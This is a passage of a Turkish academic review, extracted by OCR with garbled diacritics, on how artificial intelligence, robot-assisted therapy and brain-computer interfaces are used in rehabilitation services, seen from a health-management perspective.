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0oz

Teknoloji diinyast hizli bir gelisim siireci igerisindedir. Bu siiregte birgok alana uyarlanan teknoloji ve beraberinde
getirdigi yapay zeka 6zellikle saglik alaninda oldukca kullanisl hale gelmistir. Bu kapsamda yapilan ¢alisma,
sagligin bir alt dali olan rehabilitasyon hizmetlerinde yasanan teknolojik gelismeler ile yapay zekanin hasta ve
saglik profesyonellerine ne gibi yararlar sagladigina saglik yonetimi bakis agistyla odaklanmaktadir. Yapilan
galisma sonucunda rehabilitasyon siirecinde yapay zeka kullaniminin yonetim agisindan zamansal, mekansal ve
maddi birgok yarar saglamasinin yani sira saglik hizmetlerinde kalite ve verimliligi arttirdigi goriilmiistir.
Bununla beraber, yapay zeka uygulamalar1 hastalara evde rehabilitasyon imkani sunarak bireyi sosyal hayata
adapte etmekte de etkilidir. Rehabilitasyon hizmetlerinde yapay zeka kullanimi ile saglik hizmet sunucusu ve
hasta i¢in tedavinin zaman, yogunluk, devamlilik, hiz gibi degiskenlerin esnek bir bigimde yapilandirilmasinin
saglanmasi, giivenilir ve gegerli kullanici algilama donanimu ile objektif veri katkisi, ger¢ek zamanli geribildirim
saglanmasi, ger¢ek yasam simiilasyonu ile aktivite edilmis egitim kolaylig1 sunmasi ve rehabilitasyon siirecinde
hasta ile fizyoterapistin olasi tiikenmisligini azaltmas: miimkiin olacaktir.

Anahtar Kelimeler: Yapay zeka, Rehabilitasyonda yapay zeka, Yapay zeka uygulamalar:

ABSTRACT

The world of technology is in a rapid development process. In this process, technology has adapted to many areas,
and the artificial intelligence it brings with it has become particularly useful in the field of health. The study
focuses on technological developments in rehabilitation services, which are a subbranch of health, and on the
health management perspective of how Al benefits patients and health professionals. The study found that the use
of artificial intelligence in the rehabilitation process has provided many benefits in terms of management,
temporal, spatial and material, as well as improved quality and efficiency in health care. However, artificial
intelligence practices are also effective in adapting the individual to social life by providing home rehabilitation
to patients. The use of artificial intelligence in rehabilitation services will provide flexible structuring of variables
such as time, intensity, continuity and speed of treatment for the healthcare provider and the patient, objective data
contribution with reliable and valid user detection hardware, real-time feedback, and real-life simulation. It will
be possible to provide ease of education and reduce the possible burnout of the patient and physiotherapist during
the rehabilitation process.

Keywords: Artificial intelligence, Artificial intelligence in rehabilitation, Artificial intelligence applications
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Rehabilitasyon Hizmetlerinde Yapay Zeka Uygulamalart

1. GIRIS

Diinya niifusunun artigtyla birlikte yaslilik, kazalar, hastaliklar ve savaslar gibi sebeplerden dolay1 rehabilitasyon hizmetlerine
duyulan ihtiyag giderek daha ¢ok dnem kazanmistir (Akdemir & Akkus, 2006). Kiiresel olarak, yaklasik 2,4 milyar insan
su anda rehabilitasyon hizmetlerinden faydalanarak yasamina devam ederken gelecekte bu sayinin artacagi tahmin
edilmektedir. Diinya ¢apinda niifusun sagliginda ve 6zelliklerinde meydana gelen degisikliklerle birlikte, bu tahmini
rehabilitasyon ihtiyacinin dniimiizdeki yillarda artacagi dngoriilmektedir (Cieza et al., 2020). Rehabilitasyon siirecinde
uzuvlarin isler hale gelmesi ve kuvvet kazanmalar1 adina terapatik egzersizler son derece dnemlidir. Bununla beraber teknoloji
de son derece hizli bir sekilde ilerlemekte ve saglik sektoriinde bu ilerlemeye paralel olarak bir¢ok gelisme yasanmaktadir
(Akdemir & Akkus, 2006).

Gelisen teknolojinin saglik alaninda daha aktif rol oynadig1 son yillarda, bireylerin hareket kabiliyetleri, sinirliliklar ile
giinliik yasama dair aktivitelerinin dogru bir sekilde analiz edilerek tedavi edilmesine yonelik kesifler saglik profesyonellerine
onemli kolayliklar saglamaktadir. Rehabilitasyon alaninda yapay zeka kullanimi, klinik karar verme siirecinde hastalik ve
tedavinin etki seviyesinin dl¢iimiine biiyiik katki saglayacak verilerin toplanmasi noktasinda 6nemli avantajlar sunmaktadir.
Bu kapsamda toplanan verilerin insan sinir aglarina benzer bir formatta yorumlanmasi, bilgi iiretmesi, analiz yapmasi ve

kendi kendine bu bilgileri organize edebilme yetenegi ‘yapay zeka’ olarak adlandirilabilir (Hazar, 2020; Poole et al., 1998).

Yapay zeka sagligin bir¢ok alaninda kullanildig1 gibi rehabilitasyonun hizmetlerinde tani, tedavi ve siniflandirma asamalarinda
da kullanilmaktadir (Russell & Norvig, 2010). Ozellikle de insan-bilgisayar etkilesiminin oldugu her yerde kullanilmasi
miimkiindiir (Nicolas & Gil, 2012). Rehabilitasyonda yapay zeka, simbiyotik néroprotezler ile miyoelektrik kontrol, beyin
bilgisayar arayiiz teknolojisi, perioperatif tip ve daha bir¢ok alanda kullanilmaktadir (Anderson, 2019; Pokorny et al., 2013;
Sanchez et al., 2009; van Dokkum et al., 2015). Ozellikle hasta veri &l¢iimii ve klinik karar verme destegi gibi durumlarin
makine 6grenmesi yontemleriyle giindelik yasamda kullanilabilir olmasi ¢ok degerlidir. Yapay zeka destekli sistemler, klinik
degerlendirme alanlarindan; denge, yiiriime, giinliik yasam aktiviteleri ile alt ve iist ekstremite becerileri gibi olgularin
etkilerini arttirabilmek amaciyla gelistirilmektedir. Bu kapsamda, hastaya ait ¢iktilar degerlendirilerek rehabilitasyon

uygulamalarinin gelisim diizeyi, klinik ilerleme tahmini ve devamlilik takibi miimkiin olmaktadir (Kose, 2018).

Yapay zeka temelli teknolojilerin rehabilitasyon hizmetlerinde kullanimi; kiginin diizeyine ve yeteneklerine gore uyarlanabilir
olmasi, saglik profesyoneli ve hasta i¢in tedavinin zaman, yogunluk, yasanabilecek giicliikler gibi degiskenlerin siirekli
yapilandirilmasinin saglanmasi, giivenilir ve gegerli kullanic1 algilama donanimi ile gercek veri saglamasi, es zamanh
geribildirim saglamasi, gercek yasam simiilasyonu ile aktivite egitim kolaylig1 sunmasi ve rehabilitasyon siirecinde hasta
ile terapistin olasi tiikenmisligini azaltmasi gibi avantajlar saglamaktadir (Tarakgi, 2021). Arastirma, rehabilitasyon
hizmetlerinde yapay zeka uygulamalarinin kullanimzi ile birlikte hangi teknolojilerin hayatimiza girdigi, ne amaclarla
kullanildig1 bununla beraber hasta ve saglik profesyonellerine hangi noktalarda yarar sagladigina iliskin incelemeyi
icermektedir.

2. YAPAY ZEKA (Artifical Intelligence)

Zeka, insanlara 6zgii oldugu disiiniilen, akil yiiriitme, kavramlar arasi baglant1 kurma, algilama ve sonuca varabilme
yeteneklerinin tiimii olarak tanimlanmaktadir (TDK, 2021). Buna karsilik yapay zeka ise insana 6zgii olduguna inanilan

bu dzelliklerin makinelere kazandirilmasi olarak tanimlanabilir (Yigit, 2011).

Yapay zeka her ne kadar tanimi ve isleyisi itibar1 ile miithendislik alaninin bir yan dali olarak diisliniilse de multidisipliner
olarak psikoloji, felsefe, dil bilim ve noroloji gibi bir¢ok alan1 da kapsamaktadir. Bunun sebebi bu disiplinlerin yapay zekanin
biligsel yapisini olusturmalaridir. Bu dallar yapay zekanin karakterini olusturmak agisindan oldukga degerlidir. Bu disiplinler
ile olan iliskisi yapay zekay1 diger bilgisayar bilimi dallarindan farkli bir yere tasimaktadir. Bu durum yapay zekanin formiile
edilmemis farkli durumlarla bas edebilmesi anlamina gelmektedir (Poole et al., 1998). Bu kapsamda yapay zekanin saglik
alaninda kullaniminin miimkiin oldugu goériilmiis ve bir¢ok ¢aligma yapilmistir. Yapay zeka teknolojisi genel hatlariyla

makine 6grenmesi ve derin 6grenme yontemleriyle taninmaktadir.
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2.1. Makine Ogrenmesi

Makine 6grenmesi, genel anlamda bilgisayar sistemlerinin daha 6nce yasanmis bir olay hakkinda 6grendiklerini veya
Ogretilenleri ileride benzer bir olayda tekrar kullanabilecek kabiliyette olmasi olarak tanimlanabilir. Bu 6grenme tekniginde,
orneklerle birlikte bir 6greticinin varligindan da soz edilebilir. Ogrenme algoritmasini veri kaynaklari, giris bilgileri ve
sonuglar olusturmaktadir. Makine dgreniminde arayiiz, dnceki olaylardan yola ¢ikilarak genelleme yapar. Bu kapsamda
makine 6grenimi sistemi i¢inde egitim kiimelerinden olusan veri setleri mevcuttur. Bu veri setleri 6rnek gozlem kodlar1 ve
bunlarin okunmasini saglayan bir takim formlardan olugmaktadir (Akgdbek & Cakir, 2009). Makine 6grenimi algoritmalari
her biri farkli amaglar i¢im tasarlanan 4 kategoriye ayrilmistir. Bunlar; denetimli 6grenme, denetimsiz 6grenme, kiimeleme

(stniflandirma) ve regresyon 6grenmedir (Anderson, 2019).
2.2. Derin Ogrenme

Derin 6grenme, birden ¢ok isleme katmanindan olusan hesaplama modellerinin, birden ¢ok soyutlama diizeyiyle verilerin
temsillerini 6grenmesine olanak tanir (Krizhevsky et al., 2012; Szegedy et al., 2015). Bu yontemler, konugma tanima, gorsel
nesne tanima, nesne algilama, ilag kesfi ve genomik gibi diger bir¢cok alanda en son teknolojiyi dnemli dlgiide gelistirmistir
(Helmstaedter et al., 2013). Derin 6grenme, bir makinenin 6nceki katmandaki temsilden her katmandaki temsili hesaplamak
i¢in kullanilan dahili parametrelerini nasil degistirmesi gerektigini belirtmek i¢in geri yayilim algoritmasini kullanarak
biiyiik veri kiimelerinde karmasik yapiy1 kesfeder. Derin kivrimli aglar goriintii, video, konusma ve ses islemede ¢igir

acarken, tekrarlayan aglar metin ve konusma gibi sirali verilere 1s1k tutmaktadir (Lecun et al., 2015).

Derin 6grenme teknikleri kullanilarak, sensorler araciligi ile robotik uzuvlarin tiretimi ile alakali ¢aligmalar yapilmaktadir.
Ornegin giyilebilir el teknolojisi ad1 verilen protezlerin iiretiminde yapay sinir aglar1, sensorler ve derin 6grenme teknikleri
kullanilmaktadir. Bu protez eller nesneleri kavrayabilmek amaciyla evrisimsel sinir aglarint (CNN) kullanmaktadir (Degol
et al., 2016; Tang et al., 2016). Bu durum derin 6grenme tekniginin saglik hizmetlerinde birgok alanda kullanimina olanak
tanirken 6zellikle rehabilitasyon hizmetlerinde kullanimi degerlendirilebilir.

Toplumlar her ¢agda saglik hizmetlerinin gelistirilmesi, uzun yasamin sirr1 ve hastaliklardan korunmak istemislerdir. Bu
kapsamda her ¢agin kendi dinamikleri igerisinde o ¢agin imkanlar1 kullanilarak saglik hizmetlerine aktarilmistir. Giinlimtizde
ise bilgi toplumu ve siiper akilli toplum olarak adlandirilan ¢aglar yagsanmaktadir. Teknolojinin ve yapay zekanin hakim
olmaya basladig1 bu ¢agda saglik hizmetlerinin de teknoloji ile beraber farkli bir caga dogru gittigi sdylenebilir. Toplum 5.0

olarak adlandirilan giiniimiiz teknolojisinin rehabilitasyon hizmetlerine de etkisi kaginilmaz olacaktir.
3. SAGLIKTA TOPLUM 5.0 KAVRAMI

Eski ¢aglardan bu yana toplum her zaman insan yasaminin merkezi olarak kabul edilmistir. insan toplumunun evrimi her
zaman, problem ¢6zmek i¢in yeni araglar ve teknikler agisindan 6zgiirliikk arayist ve becerilerin gelistirilmesi yoniinde
ilerleme gostermistir. Bu ¢ercevede Sekil 1, zaman igerisinde toplumda yasanan ilerleme ve gelisimi gostermektedir. Toplum
1.0, avci-toplayict bir toplum olarak tanimlanirken sulama tekniklerinin gelismesi ile Toplum 2.0 yani tarim toplumunun
ortaya ¢ikmasi saglanmistir. Sanayi devrimi, seri iiretim ve buharli lokomotifin icadi ile endiistriyel toplum olarak adlandirilan
Toplum 3.0 ortaya konmustur. Bilgisayarlarin icadi, verilerin dagitimi yoluyla kullanimina yol agan etkisiyle beraber bilgi
ve iletigsim teknolojisinin uygulanmasi, Toplum 4.0 bilgi toplumunun ortaya ¢ikmasina neden olmustur (Fukuyama, 2018).
Tim bu asamalarin bir sonucu olarak, fiziksel ve siber alani entegre etmeyi ve siirdiiriilebilir yasam i¢in kisitlamasiz bir
ortam yaratmay1 planlayan, teknoloji odakli, siiper akilli bir toplum olan Toplum 5.0’1n ortaya ¢ikmasi kaginilmaz olmustur
(Ferreira & Serpa, 2018).
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Sekil 1. Toplumsal Gelisim Siirecleri
Kaynak: (Kansal et al., 2021).

Toplum 5.0, gergek ve sanal diinyanin birliginin teknolojiler araciligiyla gerceklestirildigi modern, gelecege yonelik ve insan
merkezli bir toplum fikridir. Bu anlayisa gore toplumun amaci, refah ve sosyal zorluklarin {istesinden gelmek bdylece kiiresel
toplumun refahina katkida bulunarak es zamanli ekonomik biiyiime ile birlikte, bolge, yas, cinsiyet, dil farki gézetmeksizin
her zaman ve yerde herkese hizmet sunabilecegi bir gergeklik yaratmaktir (Vall, 2019).

Etkili bir saglik sistemi kurmak ve siirdiirmek, yaslanan toplum, insanlarin siirekli hareketliligi ve yeni tip teknolojilerinin
maliyet yogunlugu gibi durumlardan dolay1 olduk¢a zordur. Bu sorunlar, finansal araglarin etkin dagilimini saglayacak ve
bilgi akisini iyilestirecek ve bdylece Toplum 5.0°da tiim saglik sisteminin isleyisi lizerinde kontrol saglayacak yenilikgi
¢oziimlerin uygulanmasi i¢in yeni yollarin aranmasi gerektigi sonucuna yol agmaktadir (Jopkiewicz & Jopkiewicz, 2021).

4. REHABILITASYON HiZMETLERI VE YAPAY ZEKA

Yapay Sinir Aglart (YSA), insan beyninin isleyen siire¢lerinden ilham alan verilerin analizi igin uyarlanabilir modellerdir
(Helmstaedter et al., 2013). YSA, insan beyninin 6grenme kanallarini taklit ederek, insana ait 6zellikler olan 6grenme, eski
bilgiyi geri ¢agirma ve bilgiler arasi baglantilar kurarak ¢ikarimlarda bulunmay1 kullanarak toplanan verilerden yeni datalar
iireten bilgisayar yazilimlari olarak tanimlanabilir (Ozturk & Sahin, 2018). Bir fonksiyon amac ile ilgili olarak i¢ yapilarini
degistirebilen ve 6zellikle beklenmedik tipteki problemleri ¢ozmek i¢in uygun olan, belirli bir hedefle ilgili temel sorunu
tanimlayan (spesifik tani, sonug vb.) veri setini ortaya koyan yaklasik kurallar1 yeniden olusturabilen sistemlerdir (Lecun
et al., 2015). Kayit altinda tutulan verilerde eksiklikler oldugunda da ¢alisabilmeleri, 6rnek verilerden model olusturarak
goriilmemis ornekler ile ilgili bilgi iiretebilmeleri, siniflandirma yapabilmeleri ve kendi kendilerini organize edebilen
sistemler olmalar1 sebebiyle 6zellikle son yillarda rehabilitasyon alaninda da kullanimlar1 giderek artmaktadir (Grossi, 2011).

Yapay sinir aglar1 ile beraber rehabilitasyon alaninda beklenmedik bir¢cok problemin ¢6ziimii daha kolay hale gelmistir. Bu
yapay sinir aglar1 sayesinde kliniklerde yapilacak uygulamalar1 daha uygun maliyetlerle hayata gegirebilmek miimkiin
olmustur. Bu amagla rehabilitasyon alaninda 6zellikle diagnostik, tahmin etme, siniflandirma, problem ¢ézme ve robotik
kontrol sistemlerinin iiretilmesi ve akilli sistemlerin gelistirilmesi i¢in kullanildiklar: goriilmektedir (Ghwanmeh et al.,
2013). Yapay sinir aglar1 siklikla; inme, spinal kord yaralanmasi, Parkinson, multiple sklerozis ve polindropati tiirlerinde
yirlime bozukluklarinin siniflandirilmasinda, denge sorunlarinin belirlenmesinde, bireylerin fizyoterapi ve rehabilitasyon
sonrasi fonksiyonel sonuclarinin tahmininde ve kognitif problemlerin belirlenmesinde degerlendirilmektedir (Moon et al.,
2020).

Denge, yiiriime, fonksiyonel olma diizeyi, glinliik rutin aktivitelere katilma diizeyi ve elin 6zel olarak kullanim1 gibi beceriler
icin yapay zeka gelencksel tedavilerin disina gikarak fayda saglamay1 vadetmektedir. Tedavi siirecinde hastanin ileride hangi
diizeye gelebileceginin tahmin edilebilmesi de klinik karar siiregleri bakimindan biiyiik fayda saglamaktadir (Kara, 2019).
Son yillarda bu alanda yapilmis ¢alismalarla birlikte 6zel olarak rehabilitasyon siirecindeki hastalarin tedaviye katilimini
arttirmay1 amaglayan oyun ve rehabilitasyonun birlikteliginin miimkiin oldugu goriilmektedir. Gergek hayata katilim
amacityla sunulan arttirilmis gerceklik uygulamalar1 (VR) ve robotik sistemleri hastaya oldugu kadar uygulayici olan
hekimlerin de isini kolaylagtirmaktadir (Krebs et al., 2007). Bu alana yonelik akilli telefon uygulamalarinin kullanim1 da
gerek hekimler gerek hastalar tarafindan giin gegtik¢e daha fazla kullanilmaya baglanmistir. Yapay zeka temelli uygulamalar
ile beraber hasta takip ve tedavilerini desteklerken hekim de klinik degerlendirme noktasinda kendine fayda saglamaktadir
(Tarakei, 2015).

Icinde birgok sensorii barindiran yapay zeka ile donatilmis giyilebilir sistemler rehabilitasyon alaninda 6zellikle arastirma

gelistirme faaliyetlerinde sik sik kullanilmaktadir. Bu faaliyetler ham veri elde etmenin yani sira karar verme, hedef olusturma
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ve rehabilitasyonda tedavi yolu belirleme agisindan avantaj saglamaktadir. Bununla beraber giyilebilir teknolojilerin yapilarinin
diger sistemlere kiyasla daha esnek ve kullanilabilir olmasi ndrolojik hastalarin kullanimini kolaylastirmaktadir. Yapay zeka
donanimli giyilebilir teknolojiler ile birlikte mekan yetersizligi yasanan rehabilitasyon tiniteleri mekandan tasarruf etme
noktasinda oldukg¢a fayda saglamaktadirlar (Kara et al., 2020).

Tiim bu ¢caligmalarin yani sira lizerinde ¢aligilan bir diger alan ise akilli gevre sistemleridir. Gelistirilen yapay zeka uygulamalari
ile beraber, rehabilitasyon hastalarinin 6zellikle de yasli hastalarin evlerinden tani koyma ve takibinin yapilmasi gibi amaglari,
farkl1 disiplinleri kullanarak gerceklestirmektedir. Ortam destekli yasam adi verilen bu sistemler ise sunlar1 icermektedir
(Geman et al., 2015);

+ Insanlarin 6zerkliklerini artirarak tercih ettikleri cevrede yasayabilecekleri siirenin uzatilmast
+  Ozgiiven ve hareketlilik
* Yash ve/veya engelli kisilerin saglik ve islevsel kapasitesinin arttirilmasi

* Yaslanan toplumlarda kullanilan kaynaklarin verimliligini ve tiretkenligini arttirmay igermektedir.
5. YAPAY ZEKA TEMELL{ AKILLI REHABILITASYON TEKNIKLERI

Rehabilitasyonda yapay zeka, simbiyotik ndroprotezler ile miyoelektrik kontrol, beyin bilgisayar arayiiz teknolojisi, perioperatif
tip ve daha bir¢ok alanda kullanilmaktadir (Anderson, 2019; Pokorny et al., 2013; Sanchez et al., 2009; van Dokkum et al.,
2015). Ozellikle hasta veri 6lgiimii ve klinik karar verme destegi gibi durumlarin makine 6grenmesi yontemleriyle giindelik
yasamda kullanilabilir olmas1 ¢ok degerlidir. Yapay zeka destekli sistemler, klinik degerlendirme alanlarindan; denge,
yuriime, giinliik yasam aktiviteleri ile alt ve iist ekstremite becerileri gibi olgularin etkilerini arttirabilmek amaciyla
gelistirilmektedir. Bu kapsamda, hastaya ait ¢iktilar degerlendirilerek rehabilitasyon uygulamalarinin gelisim diizeyi, klinik
ilerleme tahmini ve devamlilik takibi miimkiin olmaktadir (Kose, 2018).

Yapay zeka temelli rehabilitasyonda teknoloji uygulamalarinin avantajlari; bireyin seviyesine ve yeteneklerine uygun dizayn
edilebilir olmasi, terapist ve hasta i¢in tedavinin siire, yogunluk, zorluk, hiz gibi parametrelerinin esnek olarak yapilandirilmasinin
saglanmasi, giivenilir ve gegerli kullanici algilama donanimi ile objektif veri saglamasi, ger¢ek zamanli geribildirim
saglanmasi, ger¢ek yasam simiilasyonu ile aktivite egitim kolaylig1 sunmasi ve rehabilitasyonun siirecinde hasta ve terapistin
olasi tiikenmisligini azaltmasidir (Tarake1, 2021).

Bu kapsamda Sekil 2°de 7 fakli yapay zeka temelli akilli rehabilitasyon uygulamasindan s6z etmek miimkiindiir (Tarakge,
2021).
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Sekil 2. Yapay Zeka Temelli Akilli Rehabilitasyon Kullanim Alanlar1

Kronik hastalik yonetimi, hasta izleme tavsiyesi ve durum degerlendirmesi gerektirir. Bu, kronik hastalik yonetimi i¢in
daha iyi hizmetler yaratmasi ve saglamasi beklenen diger mobil bilgi islem ve sensor teknolojileriyle birlikte Al yontemlerini
kesfetmeye yonelik uygulama alanlarindan biridir. Ornegin, diyabette, kan sekeri izleme, yasam tarzi dnerileri ve kendi
kendini yonetme icin Al yontemleri kullanilmaktadir. Diyabet igin bilgisayarli karar destek sistemleri gelistirilmistir. Bu
sistemler, diyet, egzersiz, ila¢ kullanimi ve kan sekeri seviyeleri hakkindaki bilgileri kaydederek hastalik sonuglarini izlemekte
bdylece hasta takibini miimkiin kilmaktadir (Fernandez-Llatas & Garcia-Gomez, 2014; Fico et al., 2016).

Klinik bir perspektiften, Al, uzman radyologlar tarafindan yapilan analizlerle 6n ¢apraz bag yirtiklarini saptamak i¢in
kullanilmistir (F. Liu et al., 2019). AL, meniiskiis yirtiklarinin teshisinde olumlu sonuglar gosterirken derin 6grenme teknolojisi
sayesinde ayrica akut ve kronik kikirdakli lezyonlarin degerlendirmesi miimkiin olmustur (Liu et al., 2018; Roblot et al.,
2019). Al ayrica kiriklart siniflandirmak igin kullanilmistir. Kalga kirig1 siniflandirma dogrulugu %93,7, femur kirig:
siniflandirma dogrulugu %86, proksimal humerus kirigi siniflandirma dogrulugu %65-86 ile diz ¢evresi ve ayak bilegi
kiriklarimi siniflandirmada bagarili performans gosteren birgok algoritma vardir (Chung et al., 2018; Krogue et al., 2020;
Lind et al., 2021; Olczak et al., 2020; Tanzi et al., 2020).

Al hasta bakiminda gelisim ve saglik bakim maliyetlerinde azalma potansiyeli sunmaktadir. Artan niifusun saglik hizmetlerine
olan talebi tesvik etmesi beklenmektedir. Saglik sektorii, agirt harcama yapmadan nasil daha etkili ve verimli olunacagini
bulmak adina yenilik¢i ¢oziimlere ihtiya¢ duymaktadir (Pee et al., 2019). Coziimler i¢in teknolojinin geldigi son gelismelerin
merkezinde yapay zeka teknolojisi yer almaktadir. Teknolojideki, dzellikle yapay zeka ve robotik alanlarindaki hizli gelismeler,
saglik sektoriiniin tamamlanmasina yardimct olmaktadir (Sunarti et al., 2021). Bu kapsamda Al erken tani ve teshis i¢in
oldukga kullanislidir (Ardan et al., 2020).

Tiim bu avantajlarinin yaninda saglik hizmetlerinde yapay zeka teknolojisi kullanimina iligkin ¢ekinceler de mevcuttur.
Sistem hatalarindan dolay1 hastalarin yaralanmasi riski, yapay zekadan veri elde etme ve sonuglar ¢ikarmada hasta mahremiyeti
riski de dahil olmak iizere bazi riskler Al kullaniminda endise edilen bazi sorunlardir (Sunarti et al., 2021). Calismanin bu
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kistmdan sonrasi1 yapay zeka, IOT tabanli teknolojiler, derin 6grenme ve makine dgrenmesi tekniklerinin rehabilitasyon

hizmetlerinde kullanimina iliskin 6rnekler ile kullanim alanlarina yonelik bulgularla devam etmektedir.
5.1. Robot Yardimh Terapi

Robot yardimli terapi, yiiksek oranda tekrarlayan, yogun, uyarlanabilir ve dlgiilebilir fiziksel egitim saglayan yenilik¢i bir
rehabilitasyon seklidir. Ozellikle iist ekstremite paralizinden mustarip felgten kurtulanlarda motor fonksiyon kaybini diizeltmek
icin giderek daha fazla kullanilmaktadir (Duret et al., 2019). Yogunluk, etkili bir inme sonrasit motor rehabilitasyon
programinda 6nemli bir bilesendir. Cok sayida klinik ¢alisma, motor performansindaki 6nemli degisikliklerin yogun
uygulamalardan kaynaklandigini gostermistir (Kwakkel et al., 2004; Nicolas & Gil, 2012; Page et al., 2012).

Robot yardimli terapi, tekrarlayan rehabilitasyon hareketlerinin ihtiyacini karsilamak icin yenilikei bir yaklagim sunmaktadir.
Bu yaklasimla robotik cihazlar, bir terapi seansi iginde uygulanan tekrar diizeyinin kolayca 6l¢tilmesini saglamaktadirlar. Bazi
robotlarin kullanimi, robot destekli terapinin daha yiiksek tekrarinin, daha diisiik tekrar diizeyine kiyasla motor sonuglari
iyilestirdigini gdstermistir (Burgar et al., 2011; Duret et al., 2019; Hsieh et al., 2011).

Robotik terapi, deney paradigmasini uygun sekilde kontrol etmemize ve ¢gevresel kogullarin felgten sonra motor performanst
izerindeki etkisini degerlendirmemize olanak tanir (Krebs et al., 2007). Giiniimiizde yapilan son arastirmalar, hareketli bir
taban platform iizerinde akilli robot uygulamalar1 kullanarak (Sekil 3) daha sik antrenman yapimina imkan saglayan robotik
platformlarin ortaya ¢ikmasini saglamistir. Bu kapsamda iiretilen Stewart Platformu; ayak bilegi, diz ve eklemleri
hareketlendirmek sagligina kavusturmak veya rehabilite etmek amaciyla kullanilmaktadir (Budakli & Yilmaz, 2021; Joe et
al., 2021; Kim et al., 2019; X. Liu & Wiersma, 2019; Yang et al., 2015).

Sekil 3. Alt Ekstremite Icin Rehabilitasyon Robotu

Kaynak: (Budakli & Yilmaz, 2021)

Omurilik yaralanmasin1 takiben iist ekstremitelerin néro-rehabilitasyonu i¢in su anda kullanilan bir dizi farkli robotik cihaz
vardir. Bu cihazlar tipik olarak omuz ve dirsegi veya bilek ve parmaklar1 hedeflemektedir. Cihazlar, dis iskeletler veya
robotik u¢ efektorler olarak kategorize edilebilir. Dis iskeletler, hedeflenen eklem(ler)in eklemlenmesini destekleyen ve
hizalanan cihazlarken robotik u¢ efektorler, kullanicilarin uzuvlarinin distal kisminda basit¢e temasa gegmektedir (Mekki
etal., 2018; Pehlivan et al., 2014; Vanmulken et al., 2015). Bu robot tiirlerinin her ikisi de, fonksiyonel iyilesmeyi destekleyen
ve potansiyel olarak uyarlanabilir plastisiteyi kolaylastirabilen yiiksek hacimli yiiksek kaliteli hareket tekrarlar1 saglamak
icin kullanilabilmektedir (Edgerton & Roy, 2009; Kadivar et al., 2011). Her ikisi de terapistin yiikiinii ve bakim maliyetini
azaltma yetenegine sahiptir (Mekki et al., 2018; Riener, 2012).

Inme sonrasi hastalarin rehabilitasyonunu gelistirmek icin kas-kas arayiiziine sahip yeni bir robotik sistem
gelistirilmistir. Gelistirilen robotik rehabilitasyon sistemi, hastalara evreye uygun fiziksel rehabilitasyon egzersizi ve kas
stimiilasyonu saglamak i¢in tasarlanmistir. Geleneksel bimanuel robotik terapilerin pozisyon bazli kontroliiniin aksine,

gelistirilen yeni sistem ile paretik uzuvdaki eklem hareketlerinin yani sira hedef kaslarin aktiviteleri de uyarilmaktadir. Robot
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yardimli hareket ve paretik taraf kaslarindaki elektriksel uyari, paretik ve etkilenmemis taraflar arasindaki hareket ve kas
aktivitelerinin online karsilastirilmasiyla kontrol edilebilmektedir. Gelistirilen bu sistem ile rehabilitasyon egzersizi, hastanin
inme sonrast motor toparlanma asamasina bagli olarak 6zellestirilebilir ve modiile edilebilir (Bong et al., 2020; Lo et al.,
2017).

Serebral palsi (SP), erken gelisimdeki ilerleyici olmayan nérolojik beyin bozukluguna bagli bir motor fonksiyon bozuklugudur
(Baxter et al., 2007). Spastik SP’li birgok gocuk, giinliik yasamda yiiriimelerini engelleyen yiiriime giiliiklerine sahiptir. Ornegin,
SP’li cocuklarin ¢ogu, sendeleme veya ¢comelme yiirtiyilisii gibi anormal yiiriiylis sekilleri ile yiiriir (Rodda & Graham,
2001). Bu anormal yiiriiyiis sekilleri ikincil bozukluklara ve diisiik yagam kalitesine yol agabilir (Sullivan & Barnes, 2007).
Bu kapsamda yiirtiylis sirasinda kalga fleksiyonuna ve her iki uzvun ekstansiyonuna yardimei olan mobil bir dis iskelet tipi
robot Honda Walking Assist (HWA) gelistirilmistir. Yapilan arastirmalar HWA kullanan hastalarin uzun siireli kullanimda
yiriiyiis fonksiyonlarinda 6nemli diizeylerde iyilesme saglandigini gostermektedir (Jayaraman et al., 2019; Kawasaki et al.,
2020; Tanaka et al., 2019).

Yapilan ¢alismalar incelendiginde robot destekli terapiler saglik profesyonellerine daha kisa siirelerde daha fazla hastaya
bakma imkani sundugu goriilmektedir. Bu durum zamansal agidan avantaj saglarken ekonomik olarak daha fazla kazang
saglamay1 da desteklemektedir.

5.2. Beyin Bilgisayar Arayiizleri

Yakin zamana kadar, kisinin ¢evresini zihin giiciiyle kontrol edebilme hayali bilim kurgu temasi gibi goriinmekteydi. Ancak,
teknolojinin ilerlemesi yeni bir gercekligi ortaya ¢ikarmistir: Giiniimiizde insanlar, ¢evreleriyle iletisim kurmak, etkilemek
veya degistirmek igin beyin aktivitelerinden gelen elektrik sinyallerini kullanabilmektedir. Gelismekte olan beyin-bilgisayar
araylizli (BCI) teknolojisi alani, konusamayan veya uzuvlarini istedigi gibi kullanamayan hastalarin, yardimci cihazlar
aracilig ile nesneleri hareket ettirmesi ya da calistirmasina olanak tanimaktadir (Shih et al., 2012). Kisaca bir BCI, beyin
sinyallerini alan, analiz eden ve istenen bir eylemi gergeklestirmek i¢in bir ¢ikig cihazina iletilen komutlara ¢eviren bilgisayar
tabanli bir sistemdir (Kiibler & Birbaumer, 2008; Nicolas & Gil, 2012; Shih et al., 2012).

Beyin hastaliklar1 (Ornegin, inme ve Amyotrofik Lateral Skleroz (ALS)) olan hastalar genellikle kas zay1fligina neden olan
motor korteks hasarindan etkilenir. Bu nedenle semptomlarin ilk evrelerinde bu hastaliklar hafifletilebildigi i¢in siirekli
fizyoterapi ile rehabilitasyona ihtiya¢ duyarlar. Bu kapsamda beyin bilgisayar arayiizleri medikal uygulamalarda yol tutmasi,
sigara ve alkolii 6nleme amagli, tiimorler, beyin ve uyku hastaliklarini teshis agamasinda; beyin felci, sakatlik ya da fizyolojik
rahatsizliklarin rehabilitasyonunda kullanilabilmektedir (Biiyiikgoze, 2021). Son yillarda gelisen teknoloji ile beraber bu
ihtiyaglara yanit verilebilmesi adina beyin bilgisayar arayiizleri ¢alismalar1 artmistir (Jumphoo et al., 2021).

Beden ve beyni yeniden baglamak i¢in, BCI sistemleri ii¢ ana bilesen kullanir, bunlar; beyinden kayit yapan ama ayni
zamanda beyni uyarabilen noral arayiizler, sinyal isleme ve hareketi uyandiran bununla birlikte duyusal girdiyi iletebilen
kod ¢6zme algoritmalari ve efektorlerdir. Noral arayiizler ve efektor cihazlar, giyilebilir, invaziv olmayan bilesenlerden uzun
stireli kullanim i¢in cerrahi olarak implante edilen cihazlara kadar invazivlik agisindan degisebilmektedir (M. Bockbrader,
